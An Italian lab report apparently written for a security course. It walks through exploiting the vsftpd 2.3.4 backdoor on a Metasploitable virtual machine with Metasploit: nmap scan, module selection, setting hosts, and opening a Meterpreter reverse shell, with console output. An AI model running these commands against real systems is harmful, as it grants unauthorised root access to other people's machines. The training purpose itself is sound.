

METASPLOIT

SERVIZIO VSFTPD

1. OBIETTIVO

È richiesto di svolgere una sessione di hacking tramite metasploit sfruttando le vulnerabilità del servizio vsftpd come svolto durante la lezione teorica per consolidamento dei concetti. La traccia vuole anche che la metasploitable abbia IP 192.168.1.149

2. CONFIGURAZIONE AMBIENTE

Per poter svolgere la traccia come richiesta si è cambiato l'IP della macchina target e quella della kali tramite le impostazioni di configurazione da terminale temporaneamente. E sono state collegate mettendo le schede di rete in rete interna

```
(kali㉿kali)-[~]  
$ ping -c 4 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=2.70 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.31 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.716 ms  
— 192.168.1.149 ping statistics —  
4 packets transmitted, 3 received, 25% packet loss, time 3034ms  
rtt min/avg/max/mdev = 0.716/1.573/2.697/0.830 ms
```

3. FASE DI EXPLOIT

Tramite nmap verificare se la macchina è interessata dal servizio.

```
(kali㉿kali)-[~]  
$ nmap -sV -p 21 192.168.1.149  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-22 16:32 -0400  
Nmap scan report for 192.168.1.149  
Host is up (0.0010s latency).  
  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 2.3.4  
MAC Address: 08:00:27:BD:4C:53 (Oracle VirtualBox virtual NIC)  
Service Info: OS: Unix  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 4.71 seconds
```

Entrare nel framework di metasploit da terminale e cercare l'exploit che sfrutta la vulnerabilità del servizio FTP.

```
[*] Starting persistent handler(s) ...  
msf > search vsftpd  
  
Matching Modules  
  
#  Name                                                                 Disclosure Date  Rank    Check  Description  
-  -                                                                 -            -    -    -    -  
0  auxiliary/dos/ftp/vsftpd_232                                         2011-02-03     normal Yes    VSFTPD 2.3.2 Denial of Service  
1  exploit/unix/ftp/vsftpd_234_backdoor                               2011-07-03     excellent Yes    VSFTPD 2.3.4 Backdoor Command Execution
```

Selezionare il secondo e con il comando options cercare i parametri da impostare per lanciare l'attacco.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                  |


Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):


| Name           | Current Setting | Required | Description                                                                                                                                                                                                            |
|----------------|-----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| FETCH_COMMAND  | CURL            | yes      | Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)                                                                                                                                                      |
| FETCH_DELETE   | false           | yes      | Attempt to delete the binary after execution                                                                                                                                                                           |
| FETCH_FILELESS | none            | yes      | Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell) |
| FETCH_SRVHOST  |                 | no       | Local IP to use for serving payload                                                                                                                                                                                    |
| FETCH_SRVPOR   | 8080            | yes      | Local port to use for serving payload                                                                                                                                                                                  |
| FETCH_URI_PATH |                 | no       | Local URI to use for serving payload                                                                                                                                                                                   |
| LHOST          |                 | yes      | The listen address (an interface may be specified)                                                                                                                                                                     |
| LPORT          | 4444            | yes      | The listen port                                                                                                                                                                                                        |


```

Come si vede dall'immagine sono da configurare gli IP delle due macchine. Dopo aver fatto questo si può lanciare l'exploit.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > set lhost 192.168.1.50
lhost => 192.168.1.50
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.149:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.1.149:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[+] 192.168.1.149:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[!] 192.168.1.149:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
```

Come si vede dall'immagine l'attacco non è andato a buon fine, poiché la porta 6200 risultava occupata o chiusa, per questo ho dovuto spegnere la metasploitablee aspettare qualche ora.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.149:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.1.149:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[+] 192.168.1.149:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 192.168.1.149:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.149:53192) at 2026-07-23 02:42:35 -0400
```

Questa volta l'attacco è andato a buon fine e si è riusciti ad ottenere una sessione di meterpreter. Per verificare che si è entrati nel sistema del target lanciare il comando sysinfo per ottenere le informazioni sul target.

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
```

Grazie al comando non solo si verificato se l'attacco abbia avuto successo, ma si sono ottenuti informazioni più precise sul sistema attaccato, che possono essere utili per exploit successivi.

4. CONCLUSIONE

È stato eseguito un attacco che ha permesso di ottenere l'accesso remoto alla macchina vittima e ottenere una sessione di meterpreter, una shell avanzata che permette di controllare il target tramite

dei comandi. Questa è la dimostrazione dell'efficacia dello strumento metasploit che permette, identificando un possibile punto di accesso, di trasmettere un payload sfruttando la vulnerabilità. Infatti analizzando la metasploitable si trova aperta la porta 21, dove in ascolto c'è il servizio VSFTPD 2.3.4, e cercando nel database del tool abbiamo trovato un exploit da sfruttare. Il codice sorgente ufficiale del servizio nella versione 2.3.4 è brevemente sostituito da un file compromesso contenente una backdoor e se un utente tentava di autenticarsi con una faccina sorridente nel username, il server apriva automaticamente una shell di comando con privilegi root. Sulla porta 6200. Ed è proprio questa falla che l'exploit scelto in questo laboratorio sfrutta permettendoci l'accesso remoto.